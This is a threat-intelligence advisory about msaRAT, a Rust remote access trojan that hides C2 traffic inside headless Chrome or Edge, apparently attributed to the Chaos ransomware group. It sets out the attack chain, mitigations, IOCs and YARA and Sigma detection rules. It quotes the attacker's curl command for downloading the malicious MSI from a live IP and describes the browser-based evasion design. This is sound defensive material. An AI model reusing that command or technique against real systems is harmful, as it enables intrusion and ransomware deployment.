msaRAT malware uses Chrome, Edge browsers to route C2 traffic

1. Executive summary

Cisco Talos has identified msaRAT, a new Rust-based remote access trojan attributed to the Chaos ransomware-as-a-service (RaaS) group. The malware establishes covert command-and-control (C2) channels by launching Chrome or Edge in headless mode and controlling them via the Chrome DevTools Protocol (CDP), routing traffic over WebRTC through Twilio TURN servers and Cloudflare Workers. This "living off the browser" technique means the RAT process makes no direct network connections to C2 infrastructure, significantly reducing the likelihood of network-based detection. Attribution to the Chaos RaaS group is unconfirmed (no MITRE ATT&CK profile exists for actor "Chaos"); the assessment rests solely on Cisco Talos reporting. EMEA financial services face elevated risk given the group's documented targeting of large organisations using double-extortion tactics via spam and vishing for initial access.

2. Regulatory framing

3. Technical analysis & attack chain

Attribution caveat: Actor "Chaos" has no MITRE ATT&CK profile in the verified reference data. Attribution to the Chaos ransomware group is unconfirmed and rests solely on Cisco Talos reporting (single-sourced; verify before enforcement). Bleeping Computer additionally reports that Rapid7 previously found Chaos was leveraged by Iranian state-backed group MuddyWater, but this does not confirm attribution of msaRAT specifically.

Confirmed attack chain (corroborated by Cisco Talos and Bleeping Computer)

1. Initial access: Chaos operators use spam emails and vishing (voice-based social engineering) to gain access to the victim environment.
2. Post-compromise persistence: Attackers abuse remote monitoring and management (RMM) tools to establish persistent access and use legitimate file-sharing software for data exfiltration.
3. Payload delivery: The attacker runs the following command to download an MSI installer posing as a Windows update: curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi Note: Port 443 is specified, but communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic passes undetected.
4. MSI execution and DLL loading: The MSI file's property information is configured to impersonate a Windows update. When executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll (embedded in the MSI's Binary table as Bin_lib_EA2AEBC3) directly into memory.
5. RAT initialisation: lib.dll exports a function named RUN. The malware initialises the Tokio asynchronous runtime for concurrent operations. It reads the TOKIO_WORKER_THREADS environment variable; if unset, it calls GetSystemInfo to retrieve CPU count and sets worker threads accordingly. If dwNumberOfProcessors returns 0, worker count defaults to 1. OS threads are created via CreateThread.
6. Browser hijack: msaRAT searches for Chrome or Microsoft Edge and launches the browser in headless mode (no visible window). It enables the browser's remote debugging interface and connects via CDP.
7. C2 channel establishment: The malware opens a new browser tab and injects JavaScript via CDP commands. The injected JavaScript builds the communication channel, bypasses Chrome's Content Security Policy (CSP), and registers CDP bindings (msaOpen, msaClose, msaError, msaMessage — the source of the name "msaRAT").
8. WebRTC relay: The browser contacts a Cloudflare Workers endpoint (is-01-ast[.]ols-img-12[.]workers[.]dev) to obtain WebRTC connection information. Communication is relayed through Twilio TURN servers. ICE candidates for direct P2P connections are intentionally omitted, forcing all traffic through TURN relays.
9. Encryption: Two layers — WebRTC DTLS (browser-provided) and ChaCha20-Poly1305 with ECDH key exchange (implemented by msaRAT).
10. C2 operations: Data exchange uses chunked "frames" for key exchanges, channel opening/closing, session resets, and Windows command execution. The RAT provides browser-leveraged reverse shell and covert tunneling capabilities.
11. Impact: Cisco Talos confirmed the existence of a ransom note following msaRAT deployment, consistent with Chaos's double-extortion methodology.

Key evasion properties

• The RAT process makes no direct network connections to C2 infrastructure; all traffic originates from the browser process.
• Cloudflare Workers infrastructure means the destination IP belongs to Cloudflare, passing allowlist verification.
• The *workers.dev free subdomain cannot be blanket-blocked without disrupting legitimate Cloudflare Workers deployments.
• Twilio TURN relay hides the attacker's real server IP from network traffic.
• Plain HTTP over port 443 evades port-only firewall rules.

4. Mitigation & containment

P1 — Within 24 hours

• Block the known C2 endpoint at network proxy/DNS layer: is-01-ast[.]ols-img-12[.]workers[.]dev
• Block the known payload delivery IP: 172.86.126[.]18
• Deploy EDR detection rules for headless Chrome/Edge processes launched by non-browser parent processes (see §6 Sigma rule).
• Hunt for the MSI payload and DLL artefacts on endpoints:
• File path: C:\programdata\update_ms.msi
• DLL loaded into memory: lib.dll (exported function RUN)
• MSI custom action: CA_Run_EA2AEBC3
• MSI binary table entry: Bin_lib_EA2AEBC3
• Search endpoint command-line logs for the documented curl download command pattern: curl.exe http://*:*443*/update_ms.msi -o C:\programdata\update_ms.msi
• Review RMM tool deployments for unauthorised installations — Chaos abuses RMM tools for persistence prior to msaRAT deployment.

P2 — Within 72 hours

• Implement network protocol inspection for port 443 traffic (not just port-based rules) to detect plain HTTP over 443.
• Deploy EDR rules flagging curl.exe downloading .msi files to C:\programdata\.
• Monitor for Chrome/Edge processes launched with --headless and --remote-debugging-port flags from non-standard parent processes.
• Review Cloudflare Workers and Twilio TURN traffic patterns in network logs for anomalous WebRTC sessions from endpoint workstations.
• Brief helpdesk and support staff on vishing techniques — Chaos uses voice-based social engineering for initial access.

P3 — Within 7 days

• Assess whether blocking *workers.dev at the proxy is feasible given business use of Cloudflare Workers; if not, implement targeted blocking of known-malicious workers.dev subdomains.
• Validate that EDR can detect in-memory DLL loading via MSI custom actions.
• Review and tighten allowlists for RMM tool execution; ensure only approved RMM tools can be installed and run.
• Conduct tabletop exercise simulating browser-process C2 exfiltration to test detection gaps.

5. Indicators of compromise

ipv4  172.86.126[.]18
domain  is-01-ast[.]ols-img-12[.]workers[.]dev
file  C:\programdata\update_ms.msi
file  lib.dll
env_var  TOKIO_WORKER_THREADS
url  hxxp://172.86.126[.]18:443/update_ms.msi

Behavioural indicators

6. Detection

rule msaRAT_RAT_lib_dll {
  meta:
    author = "Adverse Trace"
    date = "2026-07-23"
    reference = "https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/"
    description = "Detects msaRAT DLL payload by binding names and embedded Tokio strings"
  strings:
    $binding1 = "msaOpen" ascii
    $binding2 = "msaClose" ascii
    $binding3 = "msaError" ascii
    $binding4 = "msaMessage" ascii
    $tokio1 = "TOKIO_WORKER_THREADS" ascii
    $tokio2 = "the number of hardware threads is not known for the target platform" ascii
    $export1 = "RUN" ascii
  condition:
    3 of ($binding*) or ($tokio1 and $tokio2) or (2 of ($binding*) and $export1)
}

title: msaRAT Headless Browser C2 Launch
id: 7a3c1f2e-8b4d-4a6e-9c5f-1d2e3f4a5b6c
status: experimental
description: Detects Chrome or Edge launched in headless mode with remote debugging enabled from non-standard parent processes, consistent with msaRAT C2 channel establishment
author: Adverse Trace
date: 2026/07/23
references:

  - https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/
logsource:
  category: process_creation
  product: windows
detection:
  selection_browser:
    Image|endswith:

      - '\chrome.exe'
      - '\msedge.exe'
    CommandLine|contains:

      - '--headless'
      - '--remote-debugging-port'
  filter_legitimate_parent:
    ParentImage|endswith:

      - '\chrome.exe'
      - '\msedge.exe'
      - '\explorer.exe'
      - '\svchost.exe'
  condition: selection_browser and not filter_legitimate_parent
falsepositives:

  - Legitimate automated testing frameworks using headless browsers
  - Development tools launching headless browser sessions
level: high

title: msaRAT MSI Payload Download via curl
id: 8b4d2e3f-9c5a-4b7f-ad6e-2e3f4a5b6c7d
status: experimental
description: Detects curl downloading MSI payload to ProgramData, consistent with msaRAT delivery
author: Adverse Trace
date: 2026/07/23
references:

  - https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\curl.exe'
    CommandLine|contains:

      - 'update_ms.msi'
      - 'C:\programdata\'
  condition: selection
falsepositives:

  - Legitimate software update mechanisms using curl to download MSI files
level: high

7. Sources

• Cisco Talos — Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel — https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/ — 2026-07-23
• Bleeping Computer — New msaRAT malware uses Chrome, Edge browsers to route C2 traffic — https://www.bleepingcomputer.com/news/security/new-msarat-malware-uses-chrome-edge-browsers-to-route-c2-traffic/ — 2026-07-23
• Help Net Security — Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process — https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/ — 2026-07-23

8. Adverse Trace position

This is a high-signal threat for EMEA financial services. The msaRAT tool's browser-leveraged C2 mechanism is specifically designed to evade network security monitoring by burying traffic inside legitimate browser processes and routing through Cloudflare Workers and Twilio TURN infrastructure — services that financial institutions typically allow or cannot block wholesale. The use of plain HTTP over port 443 further exploits common firewall misconfigurations. Attribution to the Chaos RaaS group is unconfirmed (no MITRE ATT&CK profile; single-sourced to Cisco Talos), and the prior MuddyWater connection reported by Rapid7 adds attribution complexity — clients should treat this as a financially motivated ransomware threat with possible state-nexus overlap until further corroboration emerges. We are treating this as a P1 detection-gap issue: most standard network controls will not flag this traffic pattern. We will update this advisory if additional IOCs, YARA signatures, or attribution details are published by Talos or corroborating sources.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.